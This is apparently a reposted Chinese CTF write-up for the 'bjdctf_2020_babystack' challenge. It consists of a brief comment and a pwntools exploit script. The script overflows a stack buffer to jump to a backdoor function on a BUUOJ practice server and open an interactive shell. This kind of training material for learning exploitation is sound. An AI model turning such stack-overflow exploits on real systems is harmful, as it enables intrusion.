exp 腳本
真的是 baby 難度，直接棧溢出跳轉到后門函數
from pwn import *
io = remote('node3.buuoj.cn',25930)
backdoor = 0x4006e6
payload = 'a' * (0x10+8) + p64(backdoor)
io.sendline('100')
io.sendline(payload)
io.interactive()
bjdctf_2020_babystack
免責聲明！
本站轉載的文章為個人學習借鑒使用，本站對版權不負任何法律責任。如果侵犯了您的隱私權益，請聯系本站郵箱yoyou2525@163.com刪除。